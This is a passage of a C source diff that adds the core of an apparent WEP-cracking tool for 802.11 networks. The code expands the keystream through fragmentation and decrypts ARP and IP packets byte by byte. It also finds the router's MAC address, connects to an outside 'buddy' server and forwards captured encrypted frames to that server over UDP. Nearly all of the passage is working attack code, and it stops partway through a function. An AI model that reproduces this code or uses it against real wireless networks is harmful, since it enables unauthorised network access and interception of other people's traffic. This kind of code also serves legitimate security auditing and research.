+	else if ((es->es_prga_dlen >= off_s_addr)
+			 && (es->es_prga_dlen <= (off_s_addr + 4)))
+	{
+		unsigned char ip[4];
+		int iplen;
+		int i;
+
+		decrypt_ip_addr(es, ip, &iplen, data, off_s_addr);
+		printf("\nSource IP so far: ");
+		for (i = 0; i < iplen; i++)
+		{
+			printf("%d", ip[i]);
+			if (i + 1 < iplen) printf(".");
+		}
+		printf("\n");
+
+		if (es->es_have_src && iplen == 3) found_net_addr(es, ip);
+	}
+	else if ((es->es_prga_dlen >= off_d_addr)
+			 && (es->es_prga_dlen <= (off_d_addr + 4)))
+	{
+		unsigned char dip[4];
+		struct in_addr sip;
+		int iplen;
+		int i;
+
+		decrypt_ip_addr(es, &sip, &i, data, off_s_addr);
+		decrypt_ip_addr(es, dip, &iplen, data, off_d_addr);
+		printf("\nIPs so far %s->", inet_ntoa(sip));
+		for (i = 0; i < iplen; i++)
+		{
+			printf("%d", dip[i]);
+			if (i + 1 < iplen) printf(".");
+		}
+		printf("\n");
+
+		ALLEGE(!es->es_have_src);
+		if (iplen == 3) found_net_addr(es, dip);
+	}
+	else if (es->es_prga_dlen > off_d_addr)
+		abort();
+}
+
+static void setup_internet(struct east_state * es)
+{
+	REQUIRE(es != NULL);
+
+	struct sockaddr_in s_in;
+	char buf[16];
+
+	es->es_astate = AS_CHECK_INET;
+	clear_timeout(es);
+	printf("Trying to connect to buddy: %s:%d\n",
+		   inet_ntoa(es->es_srvip),
+		   es->es_port);
+
+	ALLEGE(es->es_buddys == 0);
+	es->es_buddys = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
+	if (es->es_buddys == -1) err(1, "setup_internet: socket()");
+
+	memset(&s_in, 0, sizeof(s_in));
+	s_in.sin_family = PF_INET;
+	s_in.sin_addr = es->es_srvip;
+	s_in.sin_port = htons(es->es_port);
+
+	if (connect(es->es_buddys, (struct sockaddr *) &s_in, sizeof(s_in)) == -1)
+		err(1, "setup_internet: connect()");
+	printf("Connected\n");
+
+	/* handshake */
+	if (send(es->es_buddys, "sorbo", 5, 0) != 5)
+		err(1, "setup_internet: send()");
+	if (recv(es->es_buddys, buf, 6, 0) != 6) err(1, "setup_internet: recv()");
+
+	if (memcmp(buf, "sorbox", 6) != 0)
+	{
+		printf("setup_internet: handshake failed");
+		exit(EXIT_FAILURE);
+	}
+	printf("Handshake compl33t\n");
+}
+
+static void
+check_rtr_mac(struct east_state * es, struct ieee80211_frame * wh, int len)
+{
+	REQUIRE(es != NULL);
+	REQUIRE(wh != NULL);
+
+	void * sa;
+	char str[18];
+
+	if (!to_me(es, wh)) return;
+
+	if (!is_arp(wh, len - 4 - 4)) return;
+
+	sa = get_sa(wh);
+	memcpy(es->es_rtrmac, sa, 6);
+	mac2str(str, es->es_rtrmac, sizeof(str));
+	printf("Rtr MAC %s\n", str);
+
+	setup_internet(es);
+}
+
+static struct rpacket * get_slot(struct east_state * es)
+{
+	REQUIRE(es != NULL);
+
+	struct rpacket * slot = es->es_rqueue;
+	struct rpacket * p = es->es_rqueue;
+
+	/* try to recycle */
+	while (slot)
+	{
+		if (!slot->rp_len) return (slot);
+
+		slot = slot->rp_next;
+	}
+
+	slot = malloc(sizeof(*slot));
+	if (!slot) err(1, "get_slot: malloc()");
+	memset(slot, 0, sizeof(*slot));
+
+	if (!p)
+		es->es_rqueue = slot;
+	else
+	{
+		while (p->rp_next) p = p->rp_next;
+		p->rp_next = slot;
+	}
+
+	return (slot);
+}
+
+static struct rpacket * get_head(struct east_state * es)
+{
+	REQUIRE(es != NULL);
+
+	struct rpacket * rp = es->es_rqueue;
+
+	if (!rp) return (NULL);
+
+	if (!rp->rp_len) return (NULL);
+
+	return (rp);
+}
+
+static struct rpacket * get_packet(struct east_state * es, int id)
+{
+	REQUIRE(es != NULL);
+
+	struct rpacket * rp = es->es_rqueue;
+
+	while (rp)
+	{
+		if (!rp->rp_len) return (NULL);
+
+		if (rp->rp_id == id) return (rp);
+
+		rp = rp->rp_next;
+	}
+
+	return (NULL);
+}
+
+static void remove_packet(struct east_state * es, int id)
+{
+	REQUIRE(es != NULL);
+
+	struct rpacket * rp = es->es_rqueue;
+	struct rpacket ** prevn;
+	struct rpacket * p;
+
+	ALLEGE(rp != NULL);
+
+	prevn = &es->es_rqueue;
+
+	/* find and remove */
+	while (rp)
+	{
+		if (rp->rp_id == id)
+		{
+			rp->rp_len = 0;
+			*prevn = rp->rp_next;
+			break;
+		}
+
+		prevn = &rp->rp_next;
+		rp = rp->rp_next;
+	}
+
+	ALLEGE(rp != NULL);
+
+	/* only one element */
+	p = es->es_rqueue;
+	if (!p)
+	{
+		es->es_rqueue = rp;
+		ALLEGE(rp->rp_next == NULL);
+		return;
+	}
+
+	while (p)
+	{
+		if (!p->rp_len)
+		{
+			rp->rp_next = p->rp_next;
+			p->rp_next = rp;
+			return;
+		}
+
+		prevn = &p->rp_next;
+		p = p->rp_next;
+	}
+
+	/* last elem */
+	rp->rp_next = NULL;
+	*prevn = rp;
+}
+
+static int queue_len(struct east_state * es)
+{
+	REQUIRE(es != NULL);
+
+	int len = 0;
+	struct rpacket * slot = es->es_rqueue;
+
+	while (slot)
+	{
+		if (!slot->rp_len) break;
+		len++;
+		slot = slot->rp_next;
+	}
+
+	return (len);
+}
+
+static void
+redirect_enque(struct east_state * es, struct ieee80211_frame * wh, int len)
+{
+	REQUIRE(es != NULL);
+	REQUIRE(wh != NULL);
+
+	char s[18];
+	char d[18];
+	struct rpacket * slot;
+
+	slot = get_slot(es);
+
+	slot->rp_len = len;
+	ALLEGE(slot->rp_len <= (int) sizeof(slot->rp_packet));
+	memcpy(slot->rp_packet, wh, slot->rp_len);
+	es->es_rpacket_id++;
+	slot->rp_id = es->es_rpacket_id;
+
+	mac2str(s, get_sa(wh), sizeof(s));
+	mac2str(d, get_da(wh), sizeof(d));
+	printf_time("Enqueued packet id %d %s->%s %d [qlen %d]\n",
+				slot->rp_id,
+				s,
+				d,
+				len - sizeof(*wh) - 4 - 4,
+				queue_len(es));
+}
+
+static void
+check_redirect(struct east_state * es, struct ieee80211_frame * wh, int len)
+{
+	if (!for_me_and_from_ap(es, wh)) return;
+
+	if (is_dup(es, wh)) return;
+
+	redirect_enque(es, wh, sizeof(*wh) + len);
+}
+
+static void
+read_data(struct east_state * es, struct ieee80211_frame * wh, int len)
+{
+	REQUIRE(es != NULL);
+	REQUIRE(wh != NULL);
+
+	if ((wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK)
+		!= IEEE80211_FC0_SUBTYPE_DATA)
+		return;
+
+	if (!(wh->i_fc[1] & IEEE80211_FC1_WEP)) return;
+
+	if (!our_network(es, wh)) return;
+
+	if (!from_me(es, wh))
+	{
+		if (!es->es_have_packet
+			|| (es->es_astate <= AS_FIND_IP && !es->es_have_src))
+		{
+			ALLEGE((int) sizeof(es->es_packet) >= len);
+			memcpy(es->es_packet, wh, len);
+			es->es_have_packet = len;
+
+			if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) es->es_have_src = 1;
+			if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) && wh->i_addr1[0] != 0)
+				es->es_have_src = 1;
+		}
+
+		if (!es->es_have_arp && is_arp(wh, len - sizeof(*wh) - 4 - 4))
+		{
+			memcpy(es->es_packet_arp, wh, len);
+			es->es_have_arp = len;
+			if (es->es_astate == AS_DECRYPT_IP)
+			{
+				printf("\nPreempting to ARP decryption\n");
+				es->es_astate = AS_FIND_IP;
+			}
+		}
+	}
+
+	len -= sizeof(*wh);
+
+	switch (es->es_astate)
+	{
+		case AS_NOPRGA:
+			base_prga(es, wh, len);
+			es->es_astate = AS_PRGA_EXPAND;
+			break;
+
+		case AS_PRGA_EXPAND:
+			check_expand(es, wh, len);
+			break;
+
+		case AS_FIND_IP:
+			break;
+
+		case AS_DECRYPT_ARP:
+			check_decrypt_arp(es, wh, len);
+			break;
+
+		case AS_DECRYPT_IP:
+			check_decrypt_ip(es, wh, len);
+			break;
+
+		case AS_FIND_RTR_MAC:
+			check_rtr_mac(es, wh, len);
+			break;
+
+		case AS_CHECK_INET:
+			break;
+
+		case AS_REDIRECT:
+			check_redirect(es, wh, len);
+			break;
+
+		default:
+			abort();
+			break;
+	}
+}
+
+static void read_wifi(struct east_state * es)
+{
+	REQUIRE(es != NULL);
+
+	unsigned char buf[8192];
+	struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;
+
+	const int len = wi_read(es->es_wi, NULL, NULL, buf, sizeof(buf), NULL);
+	if (len < 0 || (size_t) len > sizeof(buf)) err(1, "wi_read()");
+
+	/* XXX: I don't do any length chex */
+	if (len < 2)
+	{
+		printf("Short packet %d\n", len);
+		return;
+	}
+
+	switch (wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK)
+	{
+		case IEEE80211_FC0_TYPE_MGT:
+			INVARIANT(len == sizeof(struct ieee80211_frame));
+			read_mgt(es, wh, len);
+			break;
+
+		case IEEE80211_FC0_TYPE_CTL:
+			read_ctl(es, wh, len);
+			break;
+
+		case IEEE80211_FC0_TYPE_DATA:
+			read_data(es, wh, len);
+			break;
+
+		default:
+			printf("Unknown type %x\n", wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK);
+			break;
+	}
+}
+
+static inline void msec_to_tv(unsigned int msec, struct timeval * tv)
+{
+	REQUIRE(tv != NULL);
+
+	tv->tv_sec = msec / 1000;
+	tv->tv_usec = (msec - tv->tv_sec * 1000) * 1000;
+}
+
+static void chan_hop(struct east_state * es, struct timeval * tv)
+{
+	REQUIRE(es != NULL);
+
+	struct timeval now;
+	unsigned int elapsed;
+
+	if (gettimeofday(&now, NULL) == -1) err(1, "gettimeofday()");
+
+	elapsed = msec_diff(&es->es_lasthop, &now);
+
+	/* hop */
+	if (elapsed >= es->es_hopfreq)
+	{
+		es->es_apchan++;
+		if (es->es_apchan > 12) es->es_apchan = 1;
+		es->es_lasthop = now;
+		set_chan(es);
+		printf("Chan %.2d\r", es->es_apchan);
+		fflush(stdout);
+
+		msec_to_tv(es->es_hopfreq, tv);
+	}
+	else
+		msec_to_tv(es->es_hopfreq - elapsed, tv);
+}
+
+static void fill_basic(struct east_state * es, struct ieee80211_frame * wh)
+{
+	REQUIRE(es != NULL);
+	REQUIRE(wh != NULL);
+
+	unsigned short * sp;
+
+	/* macs */
+	memcpy(wh->i_addr1, es->es_apmac, sizeof(wh->i_addr1));
+	memcpy(wh->i_addr2, es->es_mymac, sizeof(wh->i_addr2));
+	memcpy(wh->i_addr3, es->es_apmac, sizeof(wh->i_addr3));
+
+	/* duration */
+	sp = (unsigned short *) wh->i_dur;
+	*sp = htole16(0);
+
+	/* seq */
+	sp = (unsigned short *) wh->i_seq;
+	*sp = fnseq(0, es->es_txseq);
+}
+
+static void send_frame(struct east_state * es, void * buf, int len)
+{
+	REQUIRE(es != NULL);
+	REQUIRE(buf != NULL);
+
+	int rc = wi_write(es->es_wi, NULL, LINKTYPE_IEEE802_11, buf, len, NULL);
+	if (rc == -1) err(1, "wi_write()");
+	if (rc != len)
+	{
+		printf("ERROR: Packet length changed while transmitting (%d instead of "
+			   "%d).\n",
+			   rc,
+			   len);
+		exit(EXIT_FAILURE);
+	}
+
+	if (gettimeofday(&es->es_txlast, NULL) == -1) err(1, "gettimeofday()");
+}
+
+static int too_early(struct timeval * tv, int to, struct timeval * last_sent)
+{
+	struct timeval now;
+	unsigned int elapsed;
+
+	/* check if timeout expired */
+	if (gettimeofday(&now, NULL) == -1) err(1, "gettimeofday()");
+
+	elapsed = msec_diff(last_sent, &now);
+	if (elapsed < (unsigned int) to)
+	{
+		msec_to_tv(to - elapsed, tv);
+
+		return (1);
+	}
+
+	msec_to_tv(to, tv);
+
+	return (0);
+}
+
+static void send_auth(struct east_state * es, struct timeval * tv)
+{
+	REQUIRE(es != NULL);
+
+	unsigned char buf[4096];
+	struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;
+	unsigned short * sp;
+
+	if (too_early(tv, es->es_txto_mgt, &es->es_txlast)) return;
+
+	es->es_txseq++;
+
+	memset(buf, 0, sizeof(buf));
+	fill_basic(es, wh);
+	wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_AUTH;
+
+	/* transaction number */
+	sp = (unsigned short *) ((unsigned char *) wh + sizeof(*wh)); //-V1032
+	sp++;
+	*sp = htole16(1);
+
+	send_frame(es, wh, sizeof(*wh) + 2 + 2 + 2);
+}
+
+static void send_assoc(struct east_state * es, struct timeval * tv)
+{
+	REQUIRE(es != NULL);
+
+	unsigned char buf[4096];
+	struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;
+	unsigned short * sp;
+	int len;
+	unsigned char * ptr;
+
+	if (too_early(tv, es->es_txto_mgt, &es->es_txlast)) return;
+
+	memset(buf, 0, sizeof(buf));
+
+	es->es_txseq++;
+	fill_basic(es, wh);
+	wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_ASSOC_REQ;
+
+	sp = (unsigned short *) (wh + 1);
+
+	/* capability */
+	*sp++ = htole16(IEEE80211_CAPINFO_ESS | IEEE80211_CAPINFO_PRIVACY);
+	*sp++ = htole16(100); /* listen interval */
+
+	/* ssid */
+	ptr = (unsigned char *) sp;
+	*ptr++ = IEEE80211_ELEMID_SSID;
+	len = strlen(es->es_apssid);
+	*ptr++ = len;
+	strncpy((char *) ptr, es->es_apssid, 32);
+	ptr += len;
+
+	/* rates */
+	*ptr++ = IEEE80211_ELEMID_RATES;
+	*ptr++ = 8;
+	*ptr++ = 2 | 0x80;
+	*ptr++ = 4 | 0x80;
+	*ptr++ = 11 | 0x80;
+	*ptr++ = 22 | 0x80;
+	*ptr++ = 12 | 0x80;
+	*ptr++ = 24 | 0x80;
+	*ptr++ = 48 | 0x80;
+	*ptr++ = 72;
+
+	/* x-rates */
+	*ptr++ = IEEE80211_ELEMID_XRATES;
+	*ptr++ = 4;
+	*ptr++ = 48;
+	*ptr++ = 72;
+	*ptr++ = 96;
+	*ptr++ = 108;
+
+	len = ptr - buf;
+	printf("Sending assoc request\n");
+	send_frame(es, wh, len);
+}
+
+static inline void put_crc32(void * data, int len)
+{
+	REQUIRE(data != NULL);
+
+	unsigned int * ptr = (unsigned int *) ((char *) data + len);
+
+	*ptr = get_crc32(data, len);
+}
+
+static void expand_prga(struct east_state * es, struct timeval * tv)
+{
+	REQUIRE(es != NULL);
+
+	unsigned char buf[2048];
+	struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;
+	unsigned char * data = (unsigned char *) (wh + 1);
+	unsigned short * sp = (unsigned short *) wh->i_seq;
+	int dlen;
+	int early;
+	int totlen;
+
+	/* start from beginning */
+	if (es->es_expand_num == -1)
+	{
+		es->es_txack = 0;
+		es->es_expand_num = 0;
+		es->es_txseq++;
+		es->es_clearp = es->es_clear;
+	}
+
+	early = too_early(tv, es->es_txto_expand, &es->es_txlast);
+
+	if (!es->es_txack && early) return;
+
+	memset(buf, 0, sizeof(buf));
+
+	/* see if we got an ack to move onto next frag */
+	if (es->es_txack)
+	{
+		es->es_expand_num++;
+		es->es_clearp = es->es_clearpnext;
+		if (es->es_expand_num == es->es_expand_factor)
+		{
+			es->es_expand_num = 0;
+			es->es_txseq++;
+			es->es_clearp = es->es_clear;
+		}
+		es->es_txack = 0;
+	}
+	else
+		wh->i_fc[1] |= IEEE80211_FC1_RETRY;
+
+	if (es->es_expand_num == 0 && early) return;
+
+	/* 802.11 header */
+	fill_basic(es, wh);
+	wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA | IEEE80211_FC0_SUBTYPE_DATA;
+	wh->i_fc[1]
+		|= IEEE80211_FC1_MORE_FRAG | IEEE80211_FC1_DIR_TODS | IEEE80211_FC1_WEP;
+	memset(wh->i_addr3, 0xff, 6);
+
+	/* iv & crc */
+	memcpy(data, es->es_iv, 3);
+	data += 4;
+	dlen = es->es_prgalen - 4;
+
+	/* see how much we sent */
+	totlen = dlen * es->es_expand_num;
+	es->es_expand_len = totlen + dlen + 4;
+	if ((int) sizeof(es->es_prga) < es->es_expand_len)
+	{
+		es->es_expand_len -= dlen;
+		dlen = sizeof(es->es_prga) - totlen - 4;
+
+		/* don't need as many frags; start over */
+		if (dlen <= 0)
+		{
+			es->es_expand_num = -1;
+			es->es_expand_len = sizeof(es->es_prga);
+			return;
+		}
+
+		es->es_expand_len += dlen;
+		wh->i_fc[1] &= ~IEEE80211_FC1_MORE_FRAG;
+	}
+
+	ALLEGE((es->es_clearp >= es->es_clear)
+		   && ((es->es_clearp + dlen) < &es->es_clear[sizeof(es->es_clear)]));
+	memcpy(data, es->es_clearp, dlen);
+	es->es_clearpnext = es->es_clearp + dlen;
+
+	put_crc32(data, dlen);
+	xor(data, data, es->es_prga, es->es_prgalen);
+
+	/* send frag */
+	if ((es->es_expand_num + 1) == es->es_expand_factor)
+		wh->i_fc[1] &= ~IEEE80211_FC1_MORE_FRAG;
+
+	*sp = fnseq(es->es_expand_num, es->es_txseq);
+	printf("Sending %d byte fragment %d:%d\r",
+		   dlen,
+		   es->es_txseq,
+		   es->es_expand_num);
+	fflush(stdout);
+	send_frame(es, wh, data - buf + dlen + 4);
+}
+
+static void decrypt_packet(struct east_state * es, struct timeval * tv)
+{
+	REQUIRE(es != NULL);
+
+	unsigned char buf[2048];
+	struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;
+	unsigned char * data = (unsigned char *) (wh + 1);
+	int dlen;
+
+	if (too_early(tv, es->es_txto_decrypt, &es->es_txlast)) return;
+
+	memset(buf, 0, sizeof(buf));
+
+	/* 802.11 header */
+	es->es_txseq++;
+	fill_basic(es, wh);
+	wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA | IEEE80211_FC0_SUBTYPE_DATA;
+	wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS | IEEE80211_FC1_WEP;
+	memcpy(wh->i_addr3, S_MCAST, 5);
+	wh->i_addr3[5] = es->es_prga_d[es->es_prga_dlen];
+
+	/* iv & crc */
+	memcpy(data, es->es_prga_div, 3);
+	data += 4;
+	dlen = es->es_prga_dlen - 4 + 1;
+	memcpy(data, es->es_clear, dlen);
+	put_crc32(data, dlen);
+	xor(data, data, es->es_prga_d, es->es_prga_dlen + 1);
+
+	printf_time("Guessing prga byte %d with %.2X\r",
+				es->es_prga_dlen,
+				es->es_prga_d[es->es_prga_dlen]);
+	fflush(stdout);
+	send_frame(es, wh, data - buf + dlen + 4);
+
+	es->es_prga_d[es->es_prga_dlen]++;
+}
+
+static void decrypt_arp(struct east_state * es, struct timeval * tv)
+{
+	REQUIRE(es != NULL);
+
+	/* init */
+	if (es->es_astate != AS_DECRYPT_ARP)
+	{
+		unsigned char clear[1024];
+		unsigned char * prga = es->es_prga_d;
+		unsigned char * ct;
+		struct ieee80211_frame * wh
+			= (struct ieee80211_frame *) es->es_packet_arp;
+		int len;
+		es->es_astate = AS_DECRYPT_ARP;
+
+		ct = (unsigned char *) (wh + 1);
+		memcpy(es->es_prga_div, ct, 3);
+		ct += 4;
+
+		len = known_clear(clear, wh, 8 + sizeof(struct arphdr) + 10 * 2);
+		xor(prga, clear, ct, len);
+		prga += len;
+
+		*prga = 0;
+		es->es_prga_dlen = prga - es->es_prga_d;
+	}
+
+	decrypt_packet(es, tv);
+}
+
+static void decrypt_ip(struct east_state * es, struct timeval * tv)
+{
+	REQUIRE(es != NULL);
+
+	/* init */
+	if (es->es_astate != AS_DECRYPT_IP)
+	{
+		unsigned char clear[1024];
+		unsigned char * prga = es->es_prga_d;
+		unsigned char * ct;
+		struct ieee80211_frame * wh = (struct ieee80211_frame *) es->es_packet;
+		int len;
+		unsigned short totlen;
+		es->es_astate = AS_DECRYPT_IP;
+
+		ct = (unsigned char *) (wh + 1);
+		memcpy(es->es_prga_div, ct, 3);
+		ct += 4;
+
+		/* llc snap */
+		len = 8;
+		memcpy(clear, S_LLC_SNAP_IP, len);
+		xor(prga, clear, ct, len);
+		prga += len;
+		ct += len;
+
+		/* ip hdr */
+		len = 2;
+		memcpy(clear, "\x45\x00", len);
+		xor(prga, clear, ct, len);
+		prga += len;
+		ct += len;
+
+		/* tot len */
+		totlen = es->es_have_packet - sizeof(*wh) - 4 - 8 - 4;
+		totlen = htons(totlen);
+		len = 2;
+		memcpy(clear, &totlen, len);
+		xor(prga, clear, ct, len);
+		prga += len;
+		ct += len;
+
+		*prga = 0;
+		es->es_prga_dlen = prga - es->es_prga_d;
+	}
+
+	decrypt_packet(es, tv);
+}
+
+static void find_ip(struct east_state * es, struct timeval * tv)
+{
+	REQUIRE(es != NULL);
+
+	if (es->es_rtrip.s_addr && es->es_myip.s_addr)
+	{
+		set_tap_ip(es);
+		es->es_astate = AS_FIND_RTR_MAC;
+
+		return;
+	}
+
+	if (es->es_have_arp)
+		decrypt_arp(es, tv);
+	else if (es->es_have_packet)
+		decrypt_ip(es, tv);
+}
+
+static void send_whohas(struct east_state * es, struct timeval * tv)
+{
+	REQUIRE(es != NULL);
+
+	unsigned char buf[2048];
+	struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;
+	unsigned char * data = (unsigned char *) (wh + 1);
+	int dlen;
+	struct arphdr * ah;
+	unsigned char * datas;
+
+	if (too_early(tv, es->es_txto_whohas, &es->es_txlast)) return;
+
+	memset(buf, 0, sizeof(buf));
+
+	/* 802.11 header */
+	es->es_txseq++;
+	fill_basic(es, wh);
+	wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA | IEEE80211_FC0_SUBTYPE_DATA;
+	wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS | IEEE80211_FC1_WEP;
+	memset(wh->i_addr3, 0xff, 6);
+
+	/* iv */
+	memcpy(data, es->es_iv, 3);
+	data += 4;
+	datas = data;
+
+	/* llc snap */
+	memcpy(data, S_LLC_SNAP_ARP, 8);
+	data += 8;
+
+	/* arp */
+	ah = (struct arphdr *) data;
+	ah->ar_hrd = htons(ARPHRD_ETHER);
+	ah->ar_pro = htons(ETHERTYPE_IP);
+	ah->ar_hln = 6;
+	ah->ar_pln = 4;
+	ah->ar_op = htons(ARPOP_REQUEST);
+	data = (unsigned char *) (ah + 1);
+
+	memcpy(data, es->es_mymac, 6);
+	data += 6;
+	memcpy(data, &es->es_myip, 4);
+	data += 4;
+	data += 6;
+	memcpy(data, &es->es_rtrip, 4);
+	data += 4;
+
+	dlen = data - datas;
+	put_crc32(datas, dlen);
+	assert(es->es_prgalen >= dlen + 4);
+	xor(datas, datas, es->es_prga, dlen + 4);
+
+	printf("Sending who has %s", inet_ntoa(es->es_rtrip));
+	printf(" tell %s\n", inet_ntoa(es->es_myip));
+	send_frame(es, wh, data - buf + 4);
+}
+
+static void check_inet(struct east_state * es, struct timeval * tv)
+{
+	REQUIRE(es != NULL);
+
+	unsigned char buf[2048];
+	struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;
+	unsigned char * data = (unsigned char *) (wh + 1);
+	int dlen;
+	struct ip * iph;
+	unsigned char * datas;
+	unsigned short * seq;
+	struct udphdr * uh;
+
+	if (too_early(tv, es->es_txto_checkinet, &es->es_txlast)) return;
+
+	memset(buf, 0, sizeof(buf));
+
+	/* 802.11 header */
+	es->es_txseq++;
+	fill_basic(es, wh);
+	wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA | IEEE80211_FC0_SUBTYPE_DATA;
+	wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS | IEEE80211_FC1_WEP;
+	memcpy(wh->i_addr3, es->es_rtrmac, 6);
+
+	/* iv */
+	memcpy(data, es->es_iv, 3);
+	data += 4;
+	datas = data;
+
+	/* llc snap */
+	memcpy(data, S_LLC_SNAP_IP, 8);
+	data += 8;
+
+	/* ip */
+	iph = (struct ip *) data;
+	iph->ip_hl = 5;
+	iph->ip_v = 4;
+	iph->ip_len = htons(sizeof(*iph) + sizeof(*uh) + S_HELLO_LEN);
+	iph->ip_id = htons(666);
+	iph->ip_ttl = 69;
+	iph->ip_p = IPPROTO_UDP;
+	iph->ip_src = es->es_myip;
+	iph->ip_dst = es->es_srvip;
+	iph->ip_sum = in_cksum((unsigned short *) iph, 20);
+
+	/* udp */
+	uh = (struct udphdr *) (iph + 1);
+	uh->uh_sport = htons(53);
+	uh->uh_dport = htons(es->es_udp_port);
+	uh->uh_ulen = htons(sizeof(*uh) + S_HELLO_LEN);
+	uh->uh_sum = 0;
+
+	/* data */
+	data = (unsigned char *) (uh + 1);
+
+	memcpy(data, "sorbo", 5);
+	seq = (unsigned short *) (data + 5);
+	es->es_rpacket_id += 1;
+	*seq = htons(es->es_rpacket_id);
+	data += S_HELLO_LEN;
+
+	dlen = data - datas;
+	put_crc32(datas, dlen);
+	ALLEGE(es->es_prgalen >= dlen + 4);
+	xor(datas, datas, es->es_prga, dlen + 4);
+
+	printf("Checking for internet... %d\n", es->es_rpacket_id);
+	send_frame(es, wh, data - buf + 4);
+	if (gettimeofday(&es->es_rtt, NULL) == -1) err(1, "gettimeofday()");
+}
+
+static void redirect_sendip(struct east_state * es, struct rpacket * rp)
+{
+	REQUIRE(es != NULL);
+
+	unsigned char buf[2048];
+	struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;
+	unsigned char * data = (unsigned char *) (wh + 1);
+	int dlen;
+	struct ip * iph;
+	unsigned char * datas;
+	struct udphdr * uh;
+	unsigned short * id;
+
+	memset(buf, 0, sizeof(buf));
+
+	/* 802.11 header */
+	fill_basic(es, wh);
+	wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA | IEEE80211_FC0_SUBTYPE_DATA;
+	wh->i_fc[1]
+		|= IEEE80211_FC1_DIR_TODS | IEEE80211_FC1_WEP | IEEE80211_FC1_MORE_FRAG;
+	memcpy(wh->i_addr3, es->es_rtrmac, 6);
+
+	/* iv */
+	memcpy(data, es->es_iv, 3);
+	data += 4;
+	datas = data;
+
+	/* llc snap */
+	memcpy(data, S_LLC_SNAP_IP, 8);
+	data += 8;
+
+	/* ip */
+	iph = (struct ip *) data;
+	iph->ip_hl = 5;
+	iph->ip_v = 4;
+	dlen = rp->rp_len - sizeof(*wh) - 4 - 4 + 2;
+	iph->ip_len = htons(sizeof(*iph) + sizeof(*uh) + dlen);
+	iph->ip_id = htons(666);
+	iph->ip_ttl = 69;
+	iph->ip_p = IPPROTO_UDP;
+	iph->ip_src = es->es_myip;
+	iph->ip_dst = es->es_srvip;
+	iph->ip_sum = in_cksum((unsigned short *) iph, 20);
+
+	/* udp */
+	uh = (struct udphdr *) (iph + 1);
+	uh->uh_sport = htons(53);
+	uh->uh_dport = htons(es->es_udp_port);
+	uh->uh_ulen = htons(sizeof(*uh) + dlen);
+	uh->uh_sum = 0;
+
+	/* packet id */
+	id = (unsigned short *) (uh + 1);
+	*id++ = htons(rp->rp_id);
+
+	/* data */
+	data = (unsigned char *) id;
+
+	dlen = data - datas;
+	put_crc32(datas, dlen);
+	assert(es->es_prgalen >= dlen + 4);
+	xor(datas, datas, es->es_prga, dlen + 4);
+
+	send_frame(es, wh, data - buf + 4);
+}
+
+static void redirect_sendfrag(struct east_state * es, struct rpacket * rp)
+{
+	REQUIRE(es != NULL);
+
+	unsigned char buf[2048];
+	struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;
+	unsigned char * data = (unsigned char *) (wh + 1);
+	int dlen;
+	unsigned short * sp = (unsigned short *) wh->i_seq;
+
+	memset(buf, 0, sizeof(buf));
+
+	/* 802.11 header */
+	fill_basic(es, wh);
+	wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA | IEEE80211_FC0_SUBTYPE_DATA;
+	wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS | IEEE80211_FC1_WEP;
+	memcpy(wh->i_addr3, es->es_rtrmac, 6);
+	memset(wh->i_addr3, 0xff, 6);
+	*sp = fnseq(1, es->es_txseq);
+
+	dlen = rp->rp_len - sizeof(*wh);
+	memcpy(data, ((struct ieee80211_frame *) rp->rp_packet) + 1, dlen);
+
+	send_frame(es, wh, sizeof(*wh) + dlen);
+}
+
+static void redirect(struct east_state * es, struct timeval * tv)
+{
+	REQUIRE(es != NULL);
+
+	struct rpacket * rp = get_head(es);
+
+	if (!rp) return;
+
+	if (too_early(tv, es->es_txto_redirect, &es->es_txlast)) return;
+
+	es->es_txseq++;
+	printf("Redirecting packet id %d len %d [qlen %d]\n",
+		   rp->rp_id,
+		   rp->rp_len,
+		   queue_len(es));
+
+	/* rtt */
+	if (!es->es_rtt_id || (es->es_rtt_id = rp->rp_id))
+	{
+		es->es_rtt_id = rp->rp_id;
+
+		if (gettimeofday(&es->es_rtt, NULL) == -1) err(1, "gettimeofday()");
+	}
+
+	/* fire fragz */
+	redirect_sendip(es, rp);
+	usleep(1 * 1000);
+	redirect_sendfrag(es, rp);
+}
+
+static void associated(struct east_state * es, struct timeval * tv)
+{
+	REQUIRE(es != NULL);
+
+	switch (es->es_astate)
+	{
+		case AS_NOPRGA:
+			break;
+
+		case AS_PRGA_EXPAND:
+			expand_prga(es, tv);
+			break;
+
+		case AS_FIND_IP:
+			find_ip(es, tv);
+			break;
+
+		case AS_DECRYPT_ARP:
+			decrypt_arp(es, tv);
+			break;
+
+		case AS_DECRYPT_IP:
+			decrypt_ip(es, tv);
+			break;
+
+		case AS_FIND_RTR_MAC:
+			send_whohas(es, tv);
+			break;
+
+		case AS_CHECK_INET:
+			check_inet(es, tv);
+			break;
+
+		case AS_REDIRECT:
+			redirect(es, tv);
+			break;
+
+		default:
+			abort();
+			break;
+	}
+}
+
+static void buddy_inet_check(struct east_state * es)
+{
+	REQUIRE(es != NULL);
+
+	struct
+	{
+		struct in_addr addr;
+		unsigned short id;
+	} __packed data;
+	struct timeval now;
+	int rtt;
+
